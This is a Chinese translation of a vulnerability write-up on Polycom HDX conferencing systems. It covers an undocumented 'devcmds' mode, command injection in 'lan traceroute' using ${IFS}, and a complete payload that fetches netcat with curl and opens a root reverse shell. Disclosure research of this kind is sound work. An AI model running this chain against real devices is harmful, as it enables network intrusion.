深入剖析Polycom HDX系列視頻會議系統的RCE漏洞

在進行外部審計時，通常需要花費大量的時間對目標進行踩點，以便找到可能的攻擊途徑。當審計大型公司的時候，很可能要涉及到視頻會議終端。在本文中，我們將對視頻會議系統Polycom HDX系列中的一個安全漏洞進行詳細剖析。

我發現這個漏洞的時候，當時還在SensePost工作，並將其報告給了Polycom公司。該公司確認了該漏洞，並聲稱將發布相應的安全補丁。但是，這件事已經過去一年多了，官方仍然沒有發布任何的建議或補丁。不過，自從報告這個漏洞之後，他們在HDX系列中修復了一個XXS漏洞，從這裡來看，之所以沒有修復我提交的漏洞，很可能是認為它的威脅較小的緣故。

Polycom PSH

Polycom HDX系列在埠23上對外公開了一個管理控制台。這個管理介面是建立在PSH（Polycom Shell）的基礎之上的，用於管理基礎設備。在默認情況下，這個控制台並沒有設置密碼，或者，即使設置了密碼，也是諸如456、admin或者POLYCOM之類的弱密碼，重要的是，登陸時根本無需提供用戶名。此外，PSH也存在認證繞過漏洞，但是從理論上說，在2013年以後，大部分系統都應該已經修復了這個漏洞才對。當連接到PSH控制台後，您可以執行各種各樣的操作，甚至能導致底層的會議系統出現問題。

雖然這些命令都很有用，但並非我們真正想要的，因為我們的目標是設法進入內部網路。那麼，我們該如何通過這些命令跳轉到內部網路呢？通過仔細研究在2013年曝光的認證繞過漏洞資料，我們發現，通過在ping命令中實施命令注入，可以實現RCE——這實際上是一個更老的漏洞。

枚舉攻擊面

在審計過程中，我發現了一個沒有啟用身份驗證的Polycom端點。由於沒有任何其他可用的攻擊途徑，所以我決定通過它來入侵內部網路。我嘗試通過ping命令執行漏洞來獲取shell，不幸的是，該設備已經修復了這個漏洞。不過，既然過去曾經出現過RCE漏洞，那麼我自然想到：其他函數中也可能存在類似的漏洞。

於是，我開始深入研究參考手冊，並手動測試了該系統提供的每個命令，遺憾的是，還是沒有發現命令執行漏洞。所以，我打算從隱藏的功能中尋找突破口。為此，我從Polycom更新站點下載了系統軟體的副本。既然更新是以.pup文件的形式出現的，那麼我們就可以使用binwalk來了解這種格式的內部細節。實際上，這很簡單，因為binwalk能夠自動提取所有的部件。

binwalk -e polycom-hdx-release-3.1.10-51067.pupn

下面，我們要深入了解所有的二進位文件，找出哪些是重要的，哪些是PSH用到的。為此，我研究了Polycom的技術文檔，並根據在PSH中輸入help命令所獲得的信息，終於搞清楚了要找的是什麼。

我提取了polycom_swupdate文件夾中的所有.tar.gz文件，然後利用grep命令來處理已知的命令。

cd _polycom-hdx-release-3.1.10-51067.pup.extracted/polycom_swupdaten tar xf polycom.g3.1.tar.gzn grep dialchannels -R *n

接下來，我們考察的新目標是二進位文件avc。在研究二進位文件的時候，一種比較省勁的方法就是使用strings命令，具體如下所示。

strings avc | lessn

在使用這個命令來考察二進位文件和命令文件的時候，不僅可以滾屏，同時還能進行字元串搜索。鑒於dialchannels命令出現在grep命令的輸出結果中，這強烈表明，很可能還有其他命令也被硬編碼到了這個二進位文件的字元串中。所以，我們需要遍歷所有字元串，不過這可是個累活。幸運的是，這裡有一條捷徑可走。由於該二進位文件是用c/c++語言編寫的，所以，它肯定會用到字元串格式符。所以，我只需要搜索帶有字元串(%s)的命令，並將其傳遞給已知的Linux系統命令即可。

不難看出，這裡面最有希望的結果是traceroute命令。之所以這樣講，原因有兩個：第一個原因是，它好像會直接調用Linux命令，並使用字元串格式來提供參數。第二個原因是，先前報告的命令注入漏洞存在於ping命令中（對於OS命令注入攻擊來說，這是最佳的注入點）。現在看起來就要大功告成了：只需要調用traceroute `sleep 10`，就能執行命令exec。

事實證明，事情遠遠沒有想的這麼簡單。如果嘗試調用traceroute命令的話，實際上會不斷返回錯誤消息，聲稱該命令不存在。所以，我們好像無法直接調用traceroute命令，所以，我不得不尋找合適的命令來間接調用traceroute。為此，重新開始從字元串中尋找關鍵詞traceroute。

現在，我們知道traceroute是lan命令的一部分，所以，接下來我會嘗試注入這個命令。好了，讓我們回到Polycom Command Shell嘗試一下。不過，shell的返回結果指出，lan命令沒有traceroute選項。

當然是有的！我早就在二進位文件中找到了。經過一番折騰之後，我終於在bin/psh二進位文件中發現了一個未公開的命令。這個命令看起來太令人難以置信了，竟然是devcmds。我立刻嘗試了一下，結果收到了一個有趣的消息：

-> devcmdsn Entering sticky internal commands *ONLY* moden

Devcmds模式

進入這個模式後，我對原來的命令又嘗試了一番，發現它們突然都無法正常使用了。所以，devcmds看起來好像激活了一個新的代碼分支。我再次嘗試lan命令，竟然能夠使用traceroute了。我趕緊通過lan traceroute 127.0.0.1進行快速確認，結果顯示該命令的確能夠正常運行。

接下來，我們將嘗試命令注入攻擊。

lan traceroute `echo 127.0.0.1`n

讓人傷心的是，這次嘗試失敗了，反饋的出錯原因是使用了非法參數。

2017-11-12 12:16:40 DEBUG avc: pc[0]: NOTIFY: SYS lan traceroute Error:n 2017-11-12 12:16:40 ERROR avc: pc[0]: DevMgrEther: DevMgrEther_Process_TraceRoute - (/usr/bin/traceroute `echo 2>&1 > /tmp/traceroute.out) failed [errno: 2 - No such file or directory]n

通過觀察輸出結果，我們很快就可以搞清楚，出錯原因是echo之後的所有內容都被丟棄了。實際上，這裡的罪魁禍首就是空格符，因為代碼將其解釋為一個單獨的參數。

${IFS}

幸運的是，Bash/Sh提供了一個非常有用的環境變數，即$IFS或內部欄位分隔符，我們可以使用它來代替空格字元。為此，只需用${IFS}替換cmd注入中的所有空格即可。

lan traceroute `echo${IFS}127.0.0.1`n 2009-07-25 06:08:41 DEBUG avc: pc[0]: uimsg: D: lan traceroute `echo${IFS}127.0.0.1`n 2009-07-25 06:08:41 DEBUG avc: pc[0]: os: task:DETR pid:1754 thread 622ff4c0 17255 13fbc110n 2009-07-25 06:08:41 INFO avc: pc[0]: DevMgrEther: Trace Route Command Entry, hostnameORIP: `echo${IFS}127.0.0.1` hop_count: 0n

漏洞利用

如果你沒有得到一個適當的shell，還能遠程執行代碼嗎？哈哈，接受挑戰吧。測試了命令注入後，我們發現還存在其他方面的限制。例如，看上去分號（;）會被剝離（不知道什麼原因，難道ping命令中的cmd注入漏洞已經被修復了？）。另一個問題是，在底層的Polycom設備上預安裝的二進位文件的數量有限，也就是說我們可用的命令有限。這意味著沒有nc可以使用，所以反向bash shell在這裡也不靈光了。

幸運的是，curl是可用的，這意味著可以將定製的二進位文件下載到設備中重複使用，並且這些都不難做到。我決定將netcat用作反向shell，所以我需要一個可以在Polycom設備上使用的nc程序。由於Polycom可以在powerpc上運行，這就意味著nc二進位程序必須與之保持兼容，所以，我們不能直接上傳本地nc副本。不過，這不是什麼大不了的問題，相反，它很容易解決。為此，我們只需啟動一個基於powerpc的Debian映像——這裡面就有一個netcat（nc），並且是為powerpc架構編譯的，最讓人高興的是，它還提供了一個方便的-e選項。

在qemu中運行Debian鏡像：

qemu-system-ppc -hda debian_squeeze_powerpc_standard.qcow2n

使用root:root登陸系統，然後將/bin/nc.traditional二進位文件複製到：

Localhost:

nc -lv 8999 > /tmp/ncn

在qemu中，執行下列命令：

cat /bin/nc.traditional | nc 192.168.1.101 8999n

現在，我們就可以充分利用Polycom的RCE漏洞了。

大功告成

我將powerpc版本的nc上傳到網路伺服器，這樣就可以從Polycom設備上面下載這個程序了。然後，我設置了一個監聽器來「捕捉」這個反向連接。

設置監聽器：

nc -lvp 444n

我們的payload會下載nc，賦予其可執行許可權，然後創建一個反向shell，將其保存到我們的網路伺服器上的文件中：

curl x.x.x.x:443/nc -o /tmp/ncn /bin/chmod +x /tmp/ncn /tmp/nc -e /bin/sh x.x.x.x 444n

然後通過命令注入執行以下操作：

lan traceroute `echo${IFS}127.0.0.1&curl${IFS}x.x.x.x:443/ncexec${IFS}|sh${IFS}&`n

小結

到目前為止，我們已經取得了底層設備的root訪問許可權，並且可以訪問內部主機。在理想的情況下，會議系統會應該放置在一個單獨的子網上，並且不允許訪問內部網路——但是，理想很豐滿，現實很骨感，這個，你們懂得。

本文翻譯自：https://staaldraad.github.io/2017/11/12/polycom-hdx-rce/ ，如若轉載，請註明原文地址： http://www.4hou.com/vulnerable/8463.html 更多內容請關注「嘶吼專業版」——Pro4hou

推薦閱讀：